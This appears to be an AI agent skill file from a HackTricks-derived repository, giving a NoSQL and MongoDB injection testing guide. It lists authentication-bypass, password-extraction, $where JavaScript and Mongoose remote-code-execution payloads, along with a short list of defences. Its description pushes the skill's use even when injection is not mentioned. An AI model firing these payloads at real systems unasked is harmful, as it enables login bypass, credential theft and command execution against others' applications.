Hacktricks-skills nosql-injection
How to test for NoSQL injection vulnerabilities in MongoDB and other NoSQL databases. Use this skill whenever the user mentions NoSQL injection, MongoDB injection, database injection testing, authentication bypass, or wants to test for NoSQL vulnerabilities in web applications. Make sure to use this skill for any security testing involving MongoDB, Mongoose, or NoSQL databases, even if the user doesn't explicitly mention 'injection'.
git clone https://github.com/abelrguezr/hacktricks-skills
skills/pentesting-web/nosql-injection/SKILL.MDNoSQL Injection Testing
A comprehensive guide for testing NoSQL injection vulnerabilities in MongoDB and similar databases.
Overview
NoSQL injection occurs when user input is not properly sanitized before being used in database queries. Unlike SQL injection, NoSQL injection exploits the document-based query structure of databases like MongoDB.
Common Operators
MongoDB uses special operators that can be exploited:
| Operator | Description | Example |
|---|---|---|
| Not equals | |
| Equals | |
| Regular expression | |
| Greater than | |
| Less than | |
| Not in array | |
| JavaScript execution | |
| Field exists | |
Authentication Bypass
URL Parameters
# Using $ne operator username[$ne]=toto&password[$ne]=toto # Using regex to match anything username[$regex]=.*&password[$regex]=.* # Using $exists username[$exists]=true&password[$exists]=true
JSON Body
{"username": {"$ne": null}, "password": {"$ne": null}} {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} {"username": {"$gt": undefined}, "password": {"$gt": undefined}}
SQL-style Injection in MongoDB
// Normal SQL injection ' or 1=1-- - // MongoDB equivalent ' || 1==1// ' || 1==1%00 admin' || 'a'=='a
Data Extraction Techniques
Extract Password Length
# Test if password length equals 1 username[$ne]=toto&password[$regex]=.{1} # Test if password length equals 3 username[$ne]=toto&password[$regex]=.{3}
Extract Password Characters
# If length is 3, test each character username[$ne]=toto&password[$regex]=a.{2} username[$ne]=toto&password[$regex]=b.{2} ... username[$ne]=toto&password[$regex]=m.{2} username[$ne]=toto&password[$regex]=md.{1} username[$ne]=toto&password[$regex]=mdp
JSON-based Extraction
{"username": {"$eq": "admin"}, "password": {"$regex": "^m"}} {"username": {"$eq": "admin"}, "password": {"$regex": "^md"}} {"username": {"$eq": "admin"}, "password": {"$regex": "^mdp"}}
Using $where for Field Matching
/?search=admin' && this.password%00 --> Check if password field exists /?search=admin' && this.password && this.password.match(/.*/index.html)%00 --> Start matching /?search=admin' && this.password && this.password.match(/^a.*$/)%00 /?search=admin' && this.password && this.password.match(/^b.*$/)%00 ... /?search=admin' && this.password && this.password.match(/^duvj78i3u$/)%00 --> Found
Advanced Techniques
Cross-Collection Data Access
Use
$lookup to read from different collections (requires aggregate()):
[ { "$lookup": { "from": "users", "as": "resultado", "pipeline": [ { "$match": { "password": {"$regex": "^.*"} } } ] } } ]
Error-Based Injection
Exfiltrate documents via JavaScript errors:
{ "$where": "this.username='bob' && this.password=='pwd'; throw new Error(JSON.stringify(this));" }
PHP Arbitrary Function Execution
Using MongoLite's
$func operator:
"user":{"$func": "var_dump"}
Common Payloads
true, $where: '1 == 1' , $where: '1 == 1' $where: '1 == 1' ', $where: '1 == 1' 1, $where: '1 == 1' { $ne: 1 } ', $or: [ {}, { 'a':'a' } ], $comment:'successful MongoDB injection' db.injection.insert({success:1}); db.injection.insert({success:1});return 1; || 1==1 || 1==1// || 1==1%00 { $gt: '' } [$ne]=1 ';sleep(5000); ';it=new%20Date();do{pt=new%20Date();}while(pt-it<5000); {"username": {"$ne": null}, "password": {"$ne": null}} {"username": {"$ne": "foo"}, "password": {"$ne": "bar"}} {"username": {"$gt": undefined}, "password": {"$gt": undefined}} {"username": {"$gt":""}, "password": {"$gt":""}} {"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
Recent CVEs (2023-2025)
CVE-2023-28359 - Rocket.Chat Blind NoSQLi
Unauthenticated blind NoSQL injection in Rocket.Chat ≤ 6.0.0 via
listEmojiCustom Meteor method.
Exploit:
{"$where":"sleep(2000)||true"}
CVE-2024-53900 & CVE-2025-23061 - Mongoose RCE
Mongoose
populate().match with $where executes JavaScript in Node.js.
Exploit:
// GET /posts?author[$where]=global.process.mainModule.require('child_process').execSync('id') Post.find().populate({ path: 'author', match: req.query.author });
GraphQL → MongoDB Filter Confusion
query users($f:UserFilter){ users(filter:$f){ _id email } } # variables { "f": { "$ne": {} } }
Defensive Measures
- Strip dangerous keys: Use
,express-mongo-sanitize
, or Mongoosemongo-sanitizesanitizeFilter: true - Disable server-side JavaScript:
flag (default in MongoDB v7.0+)--noscripting - Avoid
: Prefer$where
and aggregation builders$expr - Validate data types: Use Joi/Ajv, disallow arrays where scalars expected
- GraphQL: Translate filter arguments through allow-list; never spread untrusted objects
Automation Scripts
Use the bundled scripts for automated testing:
- Extract passwords character by characterscripts/nosql-bruteforce.py
- Enumerate usernames and passwordsscripts/nosql-username-enumeration.py
See the scripts directory for usage instructions.
Testing Workflow
- Identify the target: Find login forms, search parameters, or API endpoints
- Test for vulnerability: Try basic
or$ne
payloads$regex - Determine injection point: URL params, JSON body, GraphQL variables
- Extract data: Use regex-based character extraction
- Document findings: Record payloads, endpoints, and impact